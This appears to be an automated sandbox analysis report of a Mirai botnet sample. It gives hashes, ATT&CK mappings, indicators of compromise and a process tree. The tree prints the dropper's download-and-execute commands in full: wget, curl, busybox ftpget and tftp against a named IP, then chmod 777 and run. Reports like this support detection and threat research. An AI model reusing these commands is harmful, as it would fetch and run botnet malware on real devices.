mirai | b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 04:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
Size 1010B
Sample260731-eqk4yacd93
SHA256 b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
MD5 fbac5ea0b23fa1d5d21d2284cd2a80aa
SHA1 625bcf69b37467030512d7f3a9aa2bd8d253397c
SHA512 0761d4135304485e46aacd91bdf8f0924b0e46b81d56115dc18eb1eeb0b2c4da9222aae2f640724a8939cb06040ababc60a72fc28deb0f52bcb0ea0ea7ed973c
TLSH
T1B51106E6FB708070746954AE66A75C5C3AC25C2F3D597CEC7417EC81269CC0868493F7
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet credential_access defense_evasion discovery mirai persistence

Malware Config

Extracted

Credentials

Protocol
ftp
Host
156.226.174.98
Port
21
Username
anonymous
Password
anonymous

Extracted

Family

mirai

20260729.top

Extracted

Family

mirai

20260729.top

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
678	chmod
874	chmod
892	chmod
705	chmod
759	chmod
800	chmod
818	chmod
683	chmod
727	chmod
748	chmod
910	chmod
687	chmod
744	chmod
836	chmod
855	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/newcron	679	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	684	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	688	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	706	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	728	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	745	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	749	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	761	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	801	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	819	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	837	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	856	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	875	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	893	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/newcron	911	b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e

Enumerates active TCP sockets 1 TTPs 8 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 8 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron
File opened for modification	/etc/init.d/sysd	newcron

Modifies rc script 2 TTPs 8 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron
File opened for modification	/etc/rc.local	newcron

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/11/maps	newcron
File opened for reading	/proc/228/maps	newcron
File opened for reading	/proc/41/maps	newcron
File opened for reading	/proc/925/maps	newcron
File opened for reading	/proc/946/maps	newcron
File opened for reading	/proc/302/maps	newcron
File opened for reading	/proc/574/maps	newcron
File opened for reading	/proc/7/maps	newcron
File opened for reading	/proc/13/maps	newcron
File opened for reading	/proc/25/maps	newcron
File opened for reading	/proc/3/maps	newcron
File opened for reading	/proc/13/maps	newcron
File opened for reading	/proc/3/maps	newcron
File opened for reading	/proc/641/maps	newcron
File opened for reading	/proc/29/maps	newcron
File opened for reading	/proc/17/maps	newcron
File opened for reading	/proc/2/maps	newcron
File opened for reading	/proc/27/maps	newcron
File opened for reading	/proc/11/maps	newcron
File opened for reading	/proc/320/maps	newcron
File opened for reading	/proc/594/maps	newcron
File opened for reading	/proc/111/maps	newcron
File opened for reading	/proc/588/maps	newcron
File opened for reading	/proc/641/maps	newcron
File opened for reading	/proc/9/maps	newcron
File opened for reading	/proc/320/maps	newcron
File opened for reading	/proc/41/maps	newcron
File opened for reading	/proc/43/maps	newcron
File opened for reading	/proc/9/maps	newcron
File opened for reading	/proc/137/maps	newcron
File opened for reading	/proc/171/maps	newcron
File opened for reading	/proc/2/maps	newcron
File opened for reading	/proc/217/maps	newcron
File opened for reading	/proc/22/maps	newcron
File opened for reading	/proc/2/maps	newcron
File opened for reading	/proc/16/maps	newcron
File opened for reading	/proc/108/maps	newcron
File opened for reading	/proc/306/maps	newcron
File opened for reading	/proc/15/maps	newcron
File opened for reading	/proc/23/maps	newcron
File opened for reading	/proc/936/maps	newcron
File opened for reading	/proc/18/maps	newcron
File opened for reading	/proc/771/maps	newcron
File opened for reading	/proc/777/maps	newcron
File opened for reading	/proc/14/maps	newcron
File opened for reading	/proc/217/maps	newcron
File opened for reading	/proc/669/maps	newcron
File opened for reading	/proc/4/maps	newcron
File opened for reading	/proc/5/maps	newcron
File opened for reading	/proc/299/maps	newcron
File opened for reading	/proc/318/maps	newcron
File opened for reading	/proc/171/maps	newcron
File opened for reading	/proc/78/maps	newcron
File opened for reading	/proc/885/maps	newcron
File opened for reading	/proc/4/maps	newcron
File opened for reading	/proc/15/maps	newcron
File opened for reading	/proc/20/maps	newcron
File opened for reading	/proc/5/maps	newcron
File opened for reading	/proc/24/maps	newcron
File opened for reading	/proc/171/maps	newcron
File opened for reading	/proc/43/maps	newcron
File opened for reading	/proc/5/maps	newcron
File opened for reading	/proc/593/maps	newcron
File opened for reading	/proc/17/maps	newcron

Changes its process name 32 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	init	764	newcron
Changes the process name, possibly in an attempt to hide itself	iptables	764	newcron
Changes the process name, possibly in an attempt to hide itself	wpa_supplicant	772	newcron
Changes the process name, possibly in an attempt to hide itself	wpa_supplicant	773	newcron
Changes the process name, possibly in an attempt to hide itself	dbus	804	newcron
Changes the process name, possibly in an attempt to hide itself	init	804	newcron
Changes the process name, possibly in an attempt to hide itself	udevd	809	newcron
Changes the process name, possibly in an attempt to hide itself	udevd	810	newcron
Changes the process name, possibly in an attempt to hide itself	networkd	822	newcron
Changes the process name, possibly in an attempt to hide itself	klogd	822	newcron
Changes the process name, possibly in an attempt to hide itself	sshd	828	newcron
Changes the process name, possibly in an attempt to hide itself	sshd	827	newcron
Changes the process name, possibly in an attempt to hide itself	dhclient	840	newcron
Changes the process name, possibly in an attempt to hide itself	cron	840	newcron
Changes the process name, possibly in an attempt to hide itself	ntpd	846	newcron
Changes the process name, possibly in an attempt to hide itself	ntpd	845	newcron
Changes the process name, possibly in an attempt to hide itself	init	859	newcron
Changes the process name, possibly in an attempt to hide itself	networkd	859	newcron
Changes the process name, possibly in an attempt to hide itself	getty	866	newcron
Changes the process name, possibly in an attempt to hide itself	getty	865	newcron
Changes the process name, possibly in an attempt to hide itself	klogd	878	newcron
Changes the process name, possibly in an attempt to hide itself	getty	878	newcron
Changes the process name, possibly in an attempt to hide itself	klogd	884	newcron
Changes the process name, possibly in an attempt to hide itself	klogd	883	newcron
Changes the process name, possibly in an attempt to hide itself	udevd	896	newcron
Changes the process name, possibly in an attempt to hide itself	wpa_supplicant	896	newcron
Changes the process name, possibly in an attempt to hide itself	systemd	901	newcron
Changes the process name, possibly in an attempt to hide itself	systemd	902	newcron
Changes the process name, possibly in an attempt to hide itself	login	913	newcron
Changes the process name, possibly in an attempt to hide itself	udevd	913	newcron
Changes the process name, possibly in an attempt to hide itself	sshd	918	newcron
Changes the process name, possibly in an attempt to hide itself	sshd	917	newcron

Reads system network configuration 1 TTPs 16 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp	newcron
File opened for reading	/proc/net/tcp6	newcron
File opened for reading	/proc/net/tcp6	newcron

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/111/stat	newcron
File opened for reading	/proc/217/stat	newcron
File opened for reading	/proc/302/stat	newcron
File opened for reading	/proc/306/stat	newcron
File opened for reading	/proc/7/cmdline	newcron
File opened for reading	/proc/20/cmdline	newcron
File opened for reading	/proc/318/cmdline	newcron
File opened for reading	/proc/23/cmdline	newcron
File opened for reading	/proc/318/cmdline	newcron
File opened for reading	/proc/111/cmdline	newcron
File opened for reading	/proc/19/cmdline	newcron
File opened for reading	/proc/78/stat	newcron
File opened for reading	/proc/650/cmdline	newcron
File opened for reading	/proc/78/cmdline	newcron
File opened for reading	/proc/108/cmdline	newcron
File opened for reading	/proc/918/stat	newcron
File opened for reading	/proc/29/cmdline	newcron
File opened for reading	/proc/593/stat	newcron
File opened for reading	/proc/15/cmdline	newcron
File opened for reading	/proc/4/stat	newcron
File opened for reading	/proc/306/stat	newcron
File opened for reading	/proc/337/stat	newcron
File opened for reading	/proc/228/cmdline	newcron
File opened for reading	/proc/22/cmdline	newcron
File opened for reading	/proc/6/cmdline	newcron
File opened for reading	/proc/913/cmdline	newcron
File opened for reading	/proc/108/cmdline	newcron
File opened for reading	/proc/4/cmdline	newcron
File opened for reading	/proc/843/stat	newcron
File opened for reading	/proc/26/cmdline	newcron
File opened for reading	/proc/27/cmdline	newcron
File opened for reading	/proc/301/stat	newcron
File opened for reading	/proc/19/stat	newcron
File opened for reading	/proc/18/cmdline	newcron
File opened for reading	/proc/318/stat	newcron
File opened for reading	/proc/588/stat	newcron
File opened for reading	/proc/19/stat	newcron
File opened for reading	/proc/100/stat	newcron
File opened for reading	/proc/883/cmdline	newcron
File opened for reading	/proc/901/stat	newcron
File opened for reading	/proc/301/stat	newcron
File opened for reading	/proc/43/stat	newcron
File opened for reading	/proc/2/stat	newcron
File opened for reading	/proc/138/cmdline	newcron
File opened for reading	/proc/649/cmdline	newcron
File opened for reading	/proc/589/stat	newcron
File opened for reading	/proc/28/cmdline	newcron
File opened for reading	/proc/878/stat	newcron
File opened for reading	/proc/23/cmdline	newcron
File opened for reading	/proc/594/cmdline	newcron
File opened for reading	/proc/295/cmdline	newcron
File opened for reading	/proc/299/cmdline	newcron
File opened for reading	/proc/900/stat	newcron
File opened for reading	/proc/43/cmdline	newcron
File opened for reading	/proc/28/stat	newcron
File opened for reading	/proc/16/cmdline	newcron
File opened for reading	/proc/844/cmdline	newcron
File opened for reading	/proc/137/stat	newcron
File opened for reading	/proc/100/cmdline	newcron
File opened for reading	/proc/295/cmdline	newcron
File opened for reading	/proc/337/cmdline	newcron
File opened for reading	/proc/306/stat	newcron
File opened for reading	/proc/25/stat	newcron
File opened for reading	/proc/320/stat	newcron

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
685	wget
746	wget
766	sh
768	cp

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	wget
File opened for modification	/tmp/newcron	busybox
File opened for modification	/tmp/newcron	busybox

/tmp/b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
/tmp/b297f5280f89e52d80ec301a39296242e836f34480645faecdb252a99153cf4e
1⤵
- Executes dropped EXE
PID:652
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.x86_32
  2⤵
  - Writes file to tmp directory
  PID:658
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.i486
  2⤵
  - Writes file to tmp directory
  PID:680
- /tmp/newcron
  ./newcron all
  2⤵
  PID:679
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:685
- /tmp/newcron
  ./newcron all
  2⤵
  PID:684
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.arc
  2⤵
  - Writes file to tmp directory
  PID:689
- /tmp/newcron
  ./newcron all
  2⤵
  PID:688
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.i686
  2⤵
  - Writes file to tmp directory
  PID:707
- /tmp/newcron
  ./newcron all
  2⤵
  PID:706
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.x86_64
  2⤵
  - Writes file to tmp directory
  PID:729
- /tmp/newcron
  ./newcron all
  2⤵
  PID:728
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.mipsl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /tmp/newcron
  ./newcron all
  2⤵
  PID:745
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.arm
  2⤵
  - Writes file to tmp directory
  PID:750
- /tmp/newcron
  ./newcron all
  2⤵
  PID:749
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:761
- - /bin/sh
    sh -c "cp iptables /usr/bin/.sh"
    3⤵
    - System Network Configuration Discovery
    PID:766
  - - /bin/cp
      cp iptables /usr/bin/.sh
      4⤵
      System Network Configuration Discovery
      PID:768
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.arm5
  2⤵
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.arm5
  2⤵
  PID:769
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.arm5
  2⤵
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.arm5 newcron
  2⤵
  PID:787
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.arm5 -o newcron
  2⤵
  PID:795
- /bin/busybox
  busybox tftp -r titanjr.arm5 -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.arm6
  2⤵
  - Writes file to tmp directory
  PID:802
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:801
- - /bin/sh
    sh -c "cp init /usr/bin/.sh"
    3⤵
    PID:805
  - - /bin/cp
      cp init /usr/bin/.sh
      4⤵
      PID:806
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.arm6
  2⤵
  PID:807
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.arm6
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.arm6 newcron
  2⤵
  PID:812
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.arm6 -o newcron
  2⤵
  PID:813
- /bin/busybox
  busybox tftp -r titanjr.arm6 -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:819
- - /bin/sh
    sh -c "cp klogd /usr/bin/.sh"
    3⤵
    PID:823
  - - /bin/cp
      cp klogd /usr/bin/.sh
      4⤵
      PID:824
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.arm7
  2⤵
  - Writes file to tmp directory
  PID:820
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.arm7
  2⤵
  PID:825
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.arm7
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.arm7 newcron
  2⤵
  PID:830
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.arm7 -o newcron
  2⤵
  PID:831
- /bin/busybox
  busybox tftp -r titanjr.arm7 -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:837
- - /bin/sh
    sh -c "cp cron /usr/bin/.sh"
    3⤵
    PID:841
  - - /bin/cp
      cp cron /usr/bin/.sh
      4⤵
      PID:842
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.ppc
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.ppc
  2⤵
  PID:843
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.ppc
  2⤵
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.ppc newcron
  2⤵
  PID:848
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.ppc -o newcron
  2⤵
  PID:850
- /bin/busybox
  busybox tftp -r titanjr.ppc -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:856
- - /bin/sh
    sh -c "cp networkd /usr/bin/.sh"
    3⤵
    PID:861
  - - /bin/cp
      cp networkd /usr/bin/.sh
      4⤵
      PID:862
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.ppc440
  2⤵
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.ppc440
  2⤵
  PID:863
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.ppc440
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.ppc440 newcron
  2⤵
  PID:868
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.ppc440 -o newcron
  2⤵
  PID:869
- /bin/busybox
  busybox tftp -r titanjr.ppc440 -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.m68k
  2⤵
  - Writes file to tmp directory
  PID:876
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:875
- - /bin/sh
    sh -c "cp getty /usr/bin/.sh"
    3⤵
    PID:879
  - - /bin/cp
      cp getty /usr/bin/.sh
      4⤵
      PID:880
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.m68k
  2⤵
  PID:881
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.m68k
  2⤵
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.m68k newcron
  2⤵
  PID:886
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.m68k -o newcron
  2⤵
  PID:887
- /bin/busybox
  busybox tftp -r titanjr.m68k -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /usr/bin/wget
  wget -O newcron http://156.226.174.98/huhu/titanjr.sh4
  2⤵
  - Writes file to tmp directory
  PID:894
- /tmp/newcron
  ./newcron all
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:893
- - /bin/sh
    sh -c "cp wpa_suppli /usr/bin/.sh"
    3⤵
    PID:897
  - - /bin/cp
      cp wpa_suppli /usr/bin/.sh
      4⤵
      PID:898
- /usr/bin/curl
  curl -o newcron http://156.226.174.98/huhu/titanjr.sh4
  2⤵
  PID:899
- /bin/busybox
  busybox wget -O newcron http://156.226.174.98/huhu/titanjr.sh4
  2⤵
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  busybox ftpget -v -u anonymous -p anonymous -P 21 156.226.174.98 titanjr.sh4 newcron
  2⤵
  PID:904
- /bin/busybox
  busybox tftp 156.226.174.98 -c get titanjr.sh4 -o newcron
  2⤵
  PID:905
- /bin/busybox
  busybox tftp -r titanjr.sh4 -g 156.226.174.98 -l newcron
  2⤵
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod 777 newcron
  2⤵
  - File and Directory Permissions Modification
  PID:910

/tmp/newcron
./newcron all
1⤵
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Reads process memory
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:911
- /bin/sh
  sh -c "cp udevd /usr/bin/.sh"
  2⤵
  PID:914
- - /bin/cp
    cp udevd /usr/bin/.sh
    3⤵
    PID:915

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysd

Path /etc/init.d/sysd
Size 25B
SHA256 ba1d50d125344f273c249426ccd744d5a12e560ace41cca4bc55bd2d4a718d8f
MD5 997cb34ff6e6cded70b841c0d16c0938
SHA1 cc85c16e2fb441d86aa668f376ca7fb4b181f1ab
SHA512 1e775ca8513f2841b6a8e369071b28c48489ab6462d06525f9b6b2bf97e9c043562bd7e0217307ed64a95217a76a94a08189616831c9d3127c6b91b7544570c8
MD5 SHA1 SHA512

Submit Download

newcron

Path /tmp/newcron
Size 78KB
SHA256 798a7016165a52c10f7b5f89fabbf6f5eaffc48d618b0b1986bacebcd4709975
MD5 c1fbddffac217a34a9454ba6ff7fe458
SHA1 55d9766b6dac238fddf1fd8c437467ee37d46e09
SHA512 9ec2393bdccfeb6fcfc42291af10058276fd49ad9ce582c8c3d1a88d27276c618022fe33323627a73c5d8fe06e788cddc1259daa60e4f3116f6558ff9f2cf976
SSDEEP 1536:61rUKNqeFc9yi5pPClVLVVk/13HWCsBjJe7s4TtARV:69UsIy+pPClVL4/13HlsBdar8
TLSH
T1D2837DC6E743C0F4E8528973217BE7325A73E53D1029EE83D769A932ED12502D66A3DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

newcron

Path /tmp/newcron
Size 93KB
SHA256 78b0ba90402dca7f6847181b5faebd54514f3d588961bb8a97abf02b18da8b9a
MD5 a7c2a19183a0b6b715ac9040c327b89e
SHA1 fce3bc03ce62c1b6a0459d8ed018c7045a005d27
SHA512 44edfa71386e0d7f02fde5c21c55854ded2317771e18a1292ac30aee8e6ce4a017cfc00686e47aeabf18176288e78a82e9dfd9145f51af959c0784d1cc22f85a
SSDEEP 1536:kJL99zpFfctRyXYD7DDCczp7Jd4z8GG8YqoJcsaU331QUHLaEiKOr:kprWtRyo3DDCczp7Jd4IbNuiGX
TLSH
T179937D85FB43E0F0D90609B011ABF7798A31DD362024DD6BEB98FD76BD326129116B9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

newcron

Path /tmp/newcron
Size 115KB
SHA256 208fd8397429bf71c97ece08b94d94d9787bb31f9830e41f18132f34de87986f
MD5 fb80bbd54d8a9d23cc4dc8200f929b8a
SHA1 81965cfba0673132e6f6cef85b75289db8289a5e
SHA512 72cf02707e295296f4b6f0c0338e83b0a02fc5a59e73264180da8ba35ca20144cd9c923f1560c9815e7611f24517e57b126a32a04219a1ac863bbe4bf708cc98
SSDEEP 1536:3cT1LkgRae4eSZjkaF6Ijj/Cr0ubgpa5Fm4lL4R8c+Gneq7/K9tpqSo:61LPRavJk+Pe64lL4p+GQ92h
TLSH
T13FC3C74E6F218F7DF768873047B38B21A75923D626E1D685E2ACD6045F7034E241FBA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

newcron

Path /tmp/newcron
Size 121KB
SHA256 d97f065f26ff7a3db66901364357d1f595d7719f43e6b5efb97e1df23c325e9e
MD5 d58b5e2445299428bd936e34beacd379
SHA1 4d43813d44f0309d99d18ac624875bc6944e3b03
